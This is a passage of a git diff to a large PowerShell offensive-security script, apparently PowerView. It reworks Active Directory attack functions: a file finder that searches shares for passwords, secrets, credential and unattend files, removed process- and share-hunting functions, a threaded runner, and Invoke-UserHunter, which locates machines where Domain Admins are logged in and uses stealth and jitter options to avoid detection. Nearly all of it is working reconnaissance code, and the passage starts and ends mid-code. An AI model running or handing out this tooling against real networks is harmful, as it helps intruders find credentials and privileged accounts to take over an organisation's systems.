$UsePSDrive, + + [System.Management.Automation.PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty ) begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $randNo = New-Object System.Random + # default search terms + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null + if(!$Path.EndsWith('\')) { + $Path = $Path + '\' } + if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } - Write-Verbose "[*] Running Invoke-ProcessHunter with a delay of $delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" + # check if custom search terms were passed + if ($Terms) { + if($Terms -isnot [system.array]) { + $Terms = @($Terms) + } + $SearchTerms = $Terms } - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList + if(-not $SearchTerms[0].startswith("*")) { + # append wildcards to the front and back of all search terms + for ($i = 0; $i -lt $SearchTerms.Count; $i++) { + $SearchTerms[$i] = "*$($SearchTerms[$i])*" } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter } - } - process { - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain + # search just for office documents if specified + if ($OfficeDocs) { + $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping + # find .exe's accessed within the last 7 days + if($FreshEXEs) { + # get an access time limit of 7 days ago + $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') + $SearchTerms = '*.exe' } - $HostCount = $Hosts.Count - $counter = 0 + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $Path.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" - foreach ($server in $Hosts){ + try { + $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $Path : $_" + return $Null + } - $counter = $counter + 1 + # so we can cd/dir the new drive + $Path = $RandDrive + ":\" + $FilePath + } + } - # make sure we get a server name - if ($server -ne ''){ - $found = $false - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + process { - Write-Verbose "[*] Enumerating target $server ($counter of $($Hosts.count))" + Write-Verbose "[*] Search path $Path" - # try to enumerate all active processes on the remote host - # and search for a specific process name - $processes = Get-NetProcesses -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -HostName $server -ErrorAction SilentlyContinue + function Invoke-CheckWrite { + # short helper to check is the current user can write to a file + [CmdletBinding()]param([String]$Path) + try { + $Filetest = [IO.FILE]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + Write-Verbose -Message $Error[0] + $False + } + } - foreach ($process in $processes) { - # if the session user is in the target list, display some output - if ($process.Process -match $ProcessName){ - $found = $true - $process - } - } + $SearchArgs = @{ + 'Path' = $Path + 'Recurse' = $True + 'Force' = $(-not $ExcludeHidden) + 'Include' = $SearchTerms + 'ErrorAction' = 'SilentlyContinue' + } - if ($StopOnSuccess -and $found) { - Write-Verbose "[*] Returning early" - return - } + Get-ChildItem @SearchArgs | ForEach-Object { + Write-Verbose $_ + # check if we're excluding folders + if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} + } | ForEach-Object { + if($LastAccessTime -or $LastWriteTime -or $CreationTime) { + if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} + elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} + elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} } + else {$_} + } | ForEach-Object { + # filter for write access (if applicable) + if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} + } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { + # check if we're outputting to the pipeline or an output file + if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} + else {$_} } } -} - - -function Invoke-ProcessHunterThreaded { - <# - .SYNOPSIS - Query the process lists of remote machines and searches - the process list for a target process name. Uses multithreading - to speed up enumeration. - - Author: @harmj0y - License: BSD 3-Clause - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER ProcessName - The name of the process to hunt. Defaults to putty.exe - - .PARAMETER HostList - List of hostnames/IPs to search. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER RemoteUserName - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword - The password to use for the WMI call on a remote system. - - .PARAMETER StopOnSuccess - Stop hunting after finding a process. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 - .PARAMETER Domain - Domain for query for machines. + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} - .PARAMETER MaxThreads - The maximum concurrent threads to execute. - .LINK - http://blog.harmj0y.net - #> +######################################################## +# +# 'Meta'-functions start below +# +######################################################## +function Invoke-ThreadedFunction { + # Helper used by any threaded host enumeration functions [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] + [Parameter(Position=0,Mandatory=$True)] [String[]] - $Hosts, + $ComputerName, - [string] - $ProcessName = "putty", - - [string] - $HostList, - - [string] - $HostFilter, - - [string] - $RemoteUserName, + [Parameter(Position=1,Mandatory=$True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, - [string] - $RemotePassword, + [Parameter(Position=2)] + [Hashtable] + $ScriptParameters, - [switch] - $StopOnSuccess, + [Int] + $Threads = 20, [Switch] - $NoPing, - - [int] - $MaxThreads = 20 + $NoImports ) begin { + if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } + Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $ProcessName, $RemoteUserName, $RemotePassword) + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if(!$NoImports) { - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server - } - if($up){ + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 - # try to enumerate all active processes on the remote host - # and search for a specific process name - $processes = Get-NetProcesses -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -HostName $server -ErrorAction SilentlyContinue + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") - foreach ($process in $processes) { - # if the session user is in the target list, display some output - if ($process.Process -match $ProcessName){ - $found = $true - $process - } + # Add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach($Var in $MyVars) { + if($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } - } - - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 - - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") - - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + # Add Functions from current runspace to the InitialSessionState + ForEach($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } - # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! + # Thanks Carlos! # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() + $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() - $jobs = @() - $ps = @() - $wait = @() + $Jobs = @() + $PS = @() + $Wait = @() - $counter = 0 + $Counter = 0 } process { - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" + ForEach ($Computer in $ComputerName) { - foreach ($server in $Hosts){ # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" + if ($Computer -ne '') { + # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 + While ($($Pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -MilliSeconds 500 } # create a "powershell pipeline runner" - $ps += [powershell]::create() + $PS += [powershell]::create() - $ps[$counter].runspacepool = $pool + $PS[$Counter].runspacepool = $Pool # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('ProcessName', $ProcessName).AddParameter('RemoteUserName', $RemoteUserName).AddParameter('RemotePassword', $RemotePassword) + $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) + if($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + } + } # start job - $jobs += $ps[$counter].BeginInvoke(); + $Jobs += $PS[$Counter].BeginInvoke(); # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle + $Wait += $Jobs[$Counter].AsyncWaitHandle } - $counter = $counter + 1 + $Counter = $Counter + 1 } } @@ -7365,828 +6678,848 @@ function Invoke-ProcessHunterThreaded { Write-Verbose "Waiting for scanning threads to finish..." - $waitTimeout = Get-Date + $WaitTimeout = Get-Date - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 + # set a 60 second timeout for the scanning threads + while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { + Start-Sleep -MilliSeconds 500 } # end async call - for ($y = 0; $y -lt $counter; $y++) { + for ($y = 0; $y -lt $Counter; $y++) { try { # complete async job - $ps[$y].EndInvoke($jobs[$y]) + $PS[$y].EndInvoke($Jobs[$y]) } catch { Write-Warning "error: $_" } finally { - $ps[$y].Dispose() + $PS[$y].Dispose() } } - $pool.Dispose() + + $Pool.Dispose() + Write-Verbose "All threads completed!" } } -function Invoke-UserEventHunter { - <# - .SYNOPSIS - Queries all domain controllers on the network for account - logon events (ID 4624) and TGT request events (ID 4768), - searching for target users. +function Invoke-UserHunter { +<# + .SYNOPSIS - Note: Domain Admin (or equiv) rights are needed to query - this information from the DCs. + Finds which machines users of a specified group are logged into. - Author: @sixdub, @harmj0y + Author: @harmj0y License: BSD 3-Clause - .PARAMETER GroupName + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for users of a specified group (default "domain admins") + with Get-NetGroupMember or reads in a target user list, queries the domain for all + active machines with Get-NetComputer or reads in a pre-populated host list, + randomly shuffles the target list, then for each server it gets a list of + active users with Get-NetSession/Get-NetLoggedon. The found user list is compared + against the target list, and a status message is displayed for any hits. + The flag -CheckAccess will check each positive host to see if the current + user has local admin access to the machine. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Only enumerate computers that have unconstrained delegation. + + .PARAMETER GroupName + Group name to query for target users. - .PARAMETER OU - The OU to pull users from. + .PARAMETER TargetServer - .PARAMETER Filter - The complete LDAP filter string to use to query for users. + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName - .PARAMETER UserName Specific username to search for. - .PARAMETER UserList - List of usernames to search for. + .PARAMETER UserFilter - .PARAMETER Domain - Domain to query for DCs and users. + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" - .PARAMETER SearchDays - Number of days back to search logs for. Default 3. - #> + .PARAMETER UserADSpath - [CmdletBinding()] - param( - [string] - $GroupName = 'Domain Admins', + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - [string] - $OU, + .PARAMETER UserFile - [string] - $Filter, + File of usernames to search for. - [string] - $UserName, + .PARAMETER AdminCount - [string] - $UserList, + Switch. Hunt for users with adminCount=1. - [string] - $Domain, + .PARAMETER AllowDelegation - [int32] - $SearchDays = 3 - ) + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + .PARAMETER StopOnSuccess - # users we're going to be searching for - $TargetUsers = @() + Switch. Stop hunting after finding after finding a target user. - # if we get a specific username, only use that - if ($UserName){ - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU/filter string if one is specified - elseif($OU -or $Filter){ - $TargetUsers = Get-NetUser -Filter $Filter -OU $OU -Domain $Domain | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList - } - else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return - } - } - else{ - # otherwise default to the group name to query for target users - $temp = Get-NetGroup -GroupName $GroupName -Domain $Domain | % {$_.MemberName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } - } + .PARAMETER NoPing - $TargetUsers = $TargetUsers | ForEach-Object {$_.ToLower()} + Don't ping each host to ensure it's up before enumerating. - if (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0)){ - Write-Warning "[!] No users found to search for!" - return - } + .PARAMETER CheckAccess - $DomainControllers = Get-NetDomainControllers -Domain $Domain | % {$_.Name} + Switch. Check if the current user has local admin access to found machines. - foreach ($DC in $DomainControllers){ - Write-Verbose "[*] Querying domain controller $DC for event logs" + .PARAMETER Delay - Get-UserTGTEvents -HostName $DC -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName - } + Delay between enumerating hosts, defaults to 0 - Get-UserLogonEvents -HostName $DC -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName - } - } -} + .PARAMETER Jitter + Jitter for the host delay, defaults to +/- 0.3 -function Invoke-ShareFinder { - <# - .SYNOPSIS - Finds (non-standard) shares on machines in the domain. + .PARAMETER Domain - Author: @harmj0y - License: BSD 3-Clause + Domain for query for machines, defaults to the current domain. - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, then for - each server it lists of active shares with Get-NetShare. Non-standard shares - can be filtered out with -Exclude* flags. + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results, i.e. Invoke-UserView functionality. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Stealth + + Switch. Only enumerate sessions from connonly used target servers. + + .PARAMETER StealthSource + + The source of target servers to use, 'DFS' (distributed file servers), + 'DC' (domain controllers), 'File' (file servers), or 'All' + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -CheckAccess + + Finds machines on the local domain where domain admins are logged into + and checks if the current user has local administrator access. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins are logged into. + + .EXAMPLE - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + PS C:\> Invoke-UserHunter -Threads 20 - .PARAMETER HostList - List of hostnames/IPs to search. + Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + .EXAMPLE - .PARAMETER ExcludeStandard - Exclude standard shares from display (C$, IPC$, print$ etc.) + PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt - .PARAMETER ExcludePrint - Exclude the print$ share + Finds machines in hosts.txt where any members of users.txt are logged in + or have sessions. - .PARAMETER ExcludeIPC - Exclude the IPC$ share + .EXAMPLE - .PARAMETER CheckShareAccess - Only display found shares that the local user has access to. + PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 - .PARAMETER CheckAdmin - Only display ADMIN$ shares the local user has access to. + Find machines on the domain where members of the "Power Users" groups are + logged into with a 60 second (+/- *.3) randomized delay between + touching each host. - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + .EXAMPLE - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 + PS C:\> Invoke-UserHunter -TargetServer FILESERVER - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 + Query FILESERVER for useres who are effective local administrators using + Get-NetLocalGroup -Recurse, and hunt for that user set on the network. - .PARAMETER Domain - Domain to query for machines. + .EXAMPLE - .EXAMPLE - > Invoke-ShareFinder - Find shares on the domain. + PS C:\> Invoke-UserHunter -SearchForest - .EXAMPLE - > Invoke-ShareFinder -ExcludeStandard - Find non-standard shares on the domain. + Find all machines in the current forest where domain admins are logged in. - .EXAMPLE - > Invoke-ShareFinder -Delay 60 - Find shares on the domain with a 60 second (+/- *.3) - randomized delay between touching each host. + .EXAMPLE + + PS C:\> Invoke-UserHunter -Stealth - .EXAMPLE - > Invoke-ShareFinder -HostList hosts.txt - Find shares for machines in the specified hostlist. + Executes old Invoke-StealthUserHunter functionality, enumerating commonly + used servers and checking just sessions for each. - .LINK + .LINK http://blog.harmj0y.net - #> +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] [String[]] - $Hosts, + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - [string] - $HostList, + [String] + $ComputerFilter, - [string] - $HostFilter, + [String] + $ComputerADSpath, [Switch] - $ExcludeStandard, + $Unconstrained, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, [Switch] - $ExcludePrint, + $AdminCount, [Switch] - $ExcludeIPC, + $AllowDelegation, [Switch] - $NoPing, + $CheckAccess, [Switch] - $CheckShareAccess, + $StopOnSuccess, [Switch] - $CheckAdmin, + $NoPing, [UInt32] $Delay = 0, - [double] + [Double] $Jitter = .3, [String] - $Domain + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [Switch] + $Stealth, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All", + + [ValidateRange(1,100)] + [Int] + $Threads ) begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # figure out the shares we want to ignore - [String[]] $excludedShares = @('') - if ($ExcludePrint){ - $excludedShares = $excludedShares + "PRINT$" - } - if ($ExcludeIPC){ - $excludedShares = $excludedShares + "IPC$" - } - if ($ExcludeStandard){ - $excludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' } # random object for delay - $randNo = New-Object System.Random + $RandNo = New-Object System.Random - # get the current user - $CurrentUser = Get-NetCurrentUser + Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - # get the target domain - if($Domain){ - $targetDomain = $Domain + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } } - else{ + else { # use the local domain - $targetDomain = $null + $TargetDomains = @( (Get-NetDomain).name ) } - Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" - if($targetDomain){ - Write-Version "[*] Domain: $targetDomain" - } + ##################################################### + # + # First we build the host target set + # + ##################################################### - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList + if(!$ComputerName) { + [Array]$ComputerName = @() + + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($Stealth) { + Write-Verbose "Stealth mode! Enumerating commonly used servers" + Write-Verbose "Stealth source: $StealthSource" + + ForEach ($Domain in $TargetDomains) { + if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for File Servers..." + $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController + } + if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for DFS Servers..." + $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} + } + if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } } else { - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return $null - } - } - else{ - # otherwise, query the domain for target hosts - if($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $ADSpath + 'Filter' = $ComputerFilter + 'Unconstrained' = $Unconstrained + } + + $ComputerName += Get-NetComputer @Arguments + } } - else { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" } } - } - process{ + ##################################################### + # + # Now we build the user target set + # + ##################################################### - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + # users we're going to be searching for + $TargetUsers = @() - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping + # if we're showing all results, skip username enumeration + if($ShowAll) { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Null + $User | Add-Member Noteproperty 'MemberName' '*' + $TargetUsers = @($User) + } + # if we want to hunt for the effective domain users who can access a target server + elseif($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() + $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() + $User + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() + $TargetUsers = @($User) } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $_ + $User + } | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter -or $AdminCount) { + ForEach ($Domain in $TargetDomains) { + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $UserADSpath + 'Filter' = $UserFilter + 'AdminCount' = $AdminCount + 'AllowDelegation' = $AllowDelegation + } - $counter = 0 + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser @Arguments | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Domain + $User | Add-Member Noteproperty 'MemberName' $_.samaccountname + $User + } | Where-Object {$_} - foreach ($server in $Hosts){ + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + } + } - $counter = $counter + 1 + if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth) - if ($server -ne ''){ - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get active sessions + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - Write-Debug "[*] Server share: $share" - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { - # make sure we get a real share name back - if (($netname) -and ($netname.trim() -ne '')){ + $TargetUsers 